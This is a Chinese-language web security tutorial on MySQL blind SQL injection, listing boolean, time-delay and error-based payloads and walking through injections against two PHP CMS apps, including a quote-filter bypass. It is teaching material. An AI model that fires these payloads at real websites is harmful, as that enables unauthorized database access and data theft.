Web攻防04_MySQL注入_盲注

news/2024/10/23 7:30:27/

文章目录

  • MYSQL-SQL操作-增删改查
  • 盲注概念
  • 盲注分类
  • 盲注语句
      • 参考&更多盲注语句/函数
  • 注入条件-数据回显&错误处理
      • PHP开发项目-注入相关条件:
      • 基于延时:
      • 基于布尔:
      • 基于报错:
  • CMS案例-插入报错&删除延时-PHP&MYSQL
    • 1、xhcms-insert报错
    • 2、kkcms-delete延时
      • 总结

请添加图片描述

参考:https://www.jianshu.com/p/bc35f8dd4f7c

MYSQL-SQL操作-增删改查

1、功能:数据查询

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id

盲注概念

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。(没有回显的注入)

解决:常规的联合查询注入不行的情况

盲注分类

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

需要有回显,错了报错

2、基于时间的SQL盲注-延时判断

if,sleep

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

一般用的较多的是延迟注入和报错注入,布尔需要有回显,一般网站都没有。

盲注语句

延迟:

and sleep(1);

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

布尔:

and length(database())=7; 数据库长度

and left(database(),1)=‘p’; database()的前一位

and left(database(),2)=‘pi’; database()的前两位

and substr(database(),1,1)=‘p’; database()的第一位

and substr(database(),2,1)=‘i’; database()的第二位

and ord(left(database(),1))=112;

报错:

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

0x7e —> 十六进制编码 ~ 为了更好的识别内容,有些工具为了识别也加入

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

有些报错语句基于MySQL版本决定。有些版本不支持一些语句,目前用的最多的语句:

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

参考&更多盲注语句/函数

参考:https://www.jianshu.com/p/bc35f8dd4f7c

like 'ro%'            #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0)          #条件成立 返回5 反之 返回0sleep(5)              #SQL语句延时执行5秒mid(a,b,c)            #从位置b开始,截取a字符串的c位substr(a,b,c)         #从位置b开始,截取字符串a的c长度left(database(),1),database() #left(a,b)从左侧截取a的前b位length(database())=8  #判断数据库database()名的长度ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

注入条件-数据回显&错误处理

PHP开发项目-注入相关条件:

1、是否有输出结果

2、是否开启报错

基于延时:

都不需要

and if(1=1,sleep(5),0)

基于布尔:

有数据库输出判断标准

and length(database())=6

基于报错:

有数据库报错处理判断标准

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

CMS案例-插入报错&删除延时-PHP&MYSQL

1、xhcms-insert报错

审计时发现有报错注入:

请添加图片描述

找到网站中该处注入点:

请添加图片描述

写入注入的报错语句:

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

请添加图片描述

保存提交,得到注入结果:

请添加图片描述

注入得出MySQL版本。

2、kkcms-delete延时

审计时找到可注入点,但是没有回显也没有报错,只能延时注入:

请添加图片描述

找到页面位置:

请添加图片描述

由于该注入为延迟注入,需要判断时间,用burpsuite抓包进行改包注入,或用postman等工具进行测试较为方便。

抓到删除的包

使用延时语句进行注入:

and if(1=1,sleep(5),0)

or if(1=1,sleep(5),0)

发现并没有延时:

因为php中有自动过滤单引号,过滤了单引号所以注入失败,将字符换位ASCII码,即可绕过。

MySQL中ord()函数转换为ASCII码

**注入语句:**or if(ord(left(database(),1))=107,sleep(2),0)

ord(left(database(),1))=107该语句表示数据库名第一位的ASCII码为107,即为k

结果:出现延迟

请添加图片描述

总结

SQL注入-DNSlog带外显示,也就是需要通过SQL语句去请求外部网站,只有使用load_file()去载入外部网址内容才有可能,所以需要是root用户而且将安全开关关闭,才有可能,实战中基本不可能遇到。没有太大价值。

实际情况中手工注入的机会不多,一般都是先用工具注入,如果工具注入失败,再通过工具的结果情况判断,是哪方面原因,再结合手工注入进行对比,之后再对工具进行修复,对其语句进行修改,再用工具进行注入。


http://www.ppmy.cn/news/1170021.html

相关文章

存储优化知识复习一详细版解析

存储优化 知识复习一 一、 选择题 1、1948 年&#xff0c;____提出了“信息熵”(shāng) 的概念&#xff0c;解决了对信息的量化度量问题。 A、薛定谔 B、香农 C、克劳修斯 D、纳什 【参考答案】B2、 RAID2.0技术下&#xff0c;LUN是建立在____上。 A、硬盘 B、条带 C、Chun…

YoloV7改进策略:SwiftFormer,全网首发,独家改进的高效加性注意力用于实时移动视觉应用的模型,重构YoloV7

文章目录 摘要论文:《SwiftFormer:基于Transformer的高效加性注意力用于实时移动视觉应用的模型》1、简介2、相关研究3、方法3.1、注意力模块概述3.2、高效的加性注意力3.3、SwiftFormer 架构4、实验4.1、实现细节4.2、基线比较4.3、图像分类4.4、目标检测和实例分割4.5、语义…

2022年全国部分省市跨境电商交易规模汇总

近年来&#xff0c;跨境电商发展迅速&#xff0c;国家陆续出台了相关支持政策&#xff0c;跨境电商优势和潜力有望进一步释放。海关总署数据&#xff0c;根据初步测算&#xff0c;2022年我国跨境电商进出口2.11万亿元&#xff0c;增长9.8%。其中&#xff0c;出口1.55万亿元&…

【C++】:类和对象(中)之拷贝构造函数+赋值运算符重载

拷贝构造函数 概念 在现实生活中&#xff0c;可能存在一个与你一样的自己&#xff0c;我们称其为双胞胎 那在创建对象时&#xff0c;可否创建一个与已存在对象一某一样的新对象呢&#xff1f; 拷贝构造函数&#xff1a;只有单个形参&#xff0c;该形参是对本类类型对象的引用…

Pi-hole:Linux 硬件级别的广告拦截器 | 开源日报 No.58

pi-hole/pi-hole Stars: 44.0k License: NOASSERTION Pi-hole 是一个通过自己的 Linux 硬件实现网络广告拦截的 DNS 陷阱&#xff0c;无需安装任何客户端软件即可保护设备免受不需要的内容干扰。 安装简单&#xff1a;对话框引导您在十分钟内完成简单安装过程坚决有效&#…

【Qt进阶之自定义控件】使用QListWidget实现自定义Item效果

目的 Q&#xff1a;如何在Qt库的基础上&#xff0c;实现自定义控件呢&#xff1f; A&#xff1a;根据官方文档回答&#xff0c;就是继承需实现的控件&#xff0c;然后实现自定义功能。 以下是实现QListWidget控件的自定义item。 先看下最终效果是如何&#xff1a; listItem 主…

LeetCode刷题---有效的括号

这里用到了栈的思想 栈(stack)是限定仅在表尾进行插入或者删除的线性表。对于栈来说&#xff0c;表尾端称为栈顶&#xff08;top&#xff09;&#xff0c;表头端称为栈低&#xff08;bottom&#xff09;。不含元素的空表称为空栈。因为栈限定在表尾进行插入或者删除&#xff0c…

【GA-ACO-BP预测】基于混合遗传算法-蚁群算法优化BP神经网络回归预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…